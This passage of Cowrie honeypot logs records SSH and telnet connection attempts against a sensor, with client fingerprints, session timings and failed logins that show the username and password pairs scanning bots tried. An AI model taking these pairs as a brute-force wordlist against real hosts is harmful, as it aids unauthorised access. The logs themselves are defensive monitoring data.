cm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:22:06.556967Z","src_ip":"172.185.24.228","session":"11dcc60155a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1q2w3e","message":"login attempt [deploy/1q2w3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:22:07.012480Z","src_ip":"172.185.24.228","session":"11dcc60155a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":35652,"dst_ip":"159.203.135.109","dst_port":22,"session":"ced3c79eece1","protocol":"ssh","message":"New connection: 181.234.2.36:35652 (159.203.135.109:22) [session: ced3c79eece1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:22:07.122876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:22:07.127691Z","src_ip":"181.234.2.36","session":"ced3c79eece1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:22:07.219470Z","src_ip":"181.234.2.36","session":"ced3c79eece1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz","message":"login attempt [ubuntu/1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:22:07.615014Z","src_ip":"181.234.2.36","session":"ced3c79eece1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:22:08.109816Z","src_ip":"172.185.24.228","session":"11dcc60155a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:22:08.708548Z","src_ip":"181.234.2.36","session":"ced3c79eece1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":58742,"dst_ip":"10.17.0.5","dst_port":23,"session":"634a8dadc67c","protocol":"telnet","message":"New connection: 65.60.27.33:58742 (10.17.0.5:23) [session: 634a8dadc67c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:22:18.303025Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45752,"dst_ip":"10.17.0.5","dst_port":23,"session":"c72254918dcf","protocol":"telnet","message":"New connection: 62.210.97.77:45752 (10.17.0.5:23) [session: c72254918dcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:22:22.416334Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":40212,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c06858f43ca","protocol":"ssh","message":"New connection: 80.94.92.182:40212 (159.203.135.109:22) [session: 6c06858f43ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:22:22.923214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:22:23.022851Z","src_ip":"80.94.92.182","session":"6c06858f43ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:22:23.086934Z","src_ip":"80.94.92.182","session":"6c06858f43ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"1234567890-=","message":"login attempt [solana/1234567890-=] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:22:23.707926Z","src_ip":"80.94.92.182","session":"6c06858f43ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":34556,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d27905c6f86","protocol":"telnet","message":"New connection: 38.54.119.93:34556 (10.17.0.5:23) [session: 2d27905c6f86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:22:23.728753Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:22:24.915916Z","src_ip":"80.94.92.182","session":"6c06858f43ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":41194,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bd1f993382b","protocol":"ssh","message":"New connection: 194.59.206.2:41194 (159.203.135.109:22) [session: 2bd1f993382b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:22:25.441692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:22:25.451353Z","src_ip":"194.59.206.2","session":"2bd1f993382b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:22:25.548132Z","src_ip":"194.59.206.2","session":"2bd1f993382b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:22:25.645213Z","src_ip":"194.59.206.2","session":"2bd1f993382b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59736,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e6b4b136c02","protocol":"telnet","message":"New connection: 62.210.97.77:59736 (10.17.0.5:23) [session: 5e6b4b136c02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:22:33.871402Z"}
{"eventid":"cowrie.session.closed","duration":38.38096737861633,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:22:39.039883Z","src_ip":"62.210.97.77","session":"bc29e1ea39fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59586,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b3e147d3902","protocol":"telnet","message":"New connection: 62.210.97.77:59586 (10.17.0.5:23) [session: 3b3e147d3902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:22:58.935022Z"}
{"eventid":"cowrie.session.closed","duration":41.95303559303284,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:23:00.255949Z","src_ip":"65.60.27.33","session":"634a8dadc67c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.878039598464966,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:23:02.294237Z","src_ip":"62.210.97.77","session":"c72254918dcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59600,"dst_ip":"10.17.0.5","dst_port":23,"session":"76c4de3515bf","protocol":"telnet","message":"New connection: 62.210.97.77:59600 (10.17.0.5:23) [session: 76c4de3515bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:23:02.807047Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.185.24.228","src_port":34914,"dst_ip":"10.17.0.5","dst_port":22,"session":"d24b2b5975f6","protocol":"ssh","message":"New connection: 172.185.24.228:34914 (10.17.0.5:22) [session: d24b2b5975f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:23:06.016222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:23:06.029505Z","src_ip":"172.185.24.228","session":"d24b2b5975f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:23:06.116361Z","src_ip":"172.185.24.228","session":"d24b2b5975f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server2003","message":"login attempt [root/server2003] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:23:06.477394Z","src_ip":"172.185.24.228","session":"d24b2b5975f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":53218,"dst_ip":"159.203.135.109","dst_port":22,"session":"73c46c2c39fc","protocol":"ssh","message":"New connection: 181.234.2.36:53218 (159.203.135.109:22) [session: 73c46c2c39fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:23:07.326785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:23:07.331398Z","src_ip":"181.234.2.36","session":"73c46c2c39fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:23:07.423606Z","src_ip":"181.234.2.36","session":"73c46c2c39fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:23:07.595749Z","src_ip":"172.185.24.228","session":"d24b2b5975f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12341234","message":"login attempt [ubuntu/12341234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:23:07.819639Z","src_ip":"181.234.2.36","session":"73c46c2c39fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.302796602249146,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:23:08.174070Z","src_ip":"62.210.97.77","session":"5e6b4b136c02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:23:08.913748Z","src_ip":"181.234.2.36","session":"73c46c2c39fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.48466205596924,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:23:13.213268Z","src_ip":"38.54.119.93","session":"2d27905c6f86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51068,"dst_ip":"10.17.0.5","dst_port":23,"session":"79e9446197dd","protocol":"telnet","message":"New connection: 62.210.97.77:51068 (10.17.0.5:23) [session: 79e9446197dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:23:19.726261Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":46394,"dst_ip":"10.17.0.5","dst_port":23,"session":"1be28531e838","protocol":"telnet","message":"New connection: 38.54.119.93:46394 (10.17.0.5:23) [session: 1be28531e838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:23:27.526698Z"}
{"eventid":"cowrie.session.closed","duration":32.71336364746094,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:23:31.648276Z","src_ip":"62.210.97.77","session":"3b3e147d3902","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":54814,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f71fe5790c4","protocol":"telnet","message":"New connection: 165.232.131.181:54814 (10.17.0.5:23) [session: 2f71fe5790c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:23:32.239036Z"}
{"eventid":"cowrie.session.closed","duration":35.72773361206055,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:23:38.534681Z","src_ip":"62.210.97.77","session":"76c4de3515bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":47206,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b6bf6c00d88","protocol":"ssh","message":"New connection: 20.203.42.204:47206 (159.203.135.109:22) [session: 0b6bf6c00d88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:23:47.671690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:23:47.676907Z","src_ip":"20.203.42.204","session":"0b6bf6c00d88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:23:47.843759Z","src_ip":"20.203.42.204","session":"0b6bf6c00d88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123","message":"login attempt [es/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:23:48.541884Z","src_ip":"20.203.42.204","session":"0b6bf6c00d88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:23:49.713277Z","src_ip":"20.203.42.204","session":"0b6bf6c00d88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.346179485321045,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:23:52.072306Z","src_ip":"62.210.97.77","session":"79e9446197dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":53776,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3de52f93a70","protocol":"ssh","message":"New connection: 80.94.92.168:53776 (10.17.0.5:22) [session: a3de52f93a70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:24:04.287211Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:24:04.394866Z","src_ip":"80.94.92.168","session":"a3de52f93a70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.185.24.228","src_port":36956,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcbaf1d17d25","protocol":"ssh","message":"New connection: 172.185.24.228:36956 (10.17.0.5:22) [session: bcbaf1d17d25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:24:05.504610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:24:05.514452Z","src_ip":"172.185.24.228","session":"bcbaf1d17d25","protocol":"ssh"}
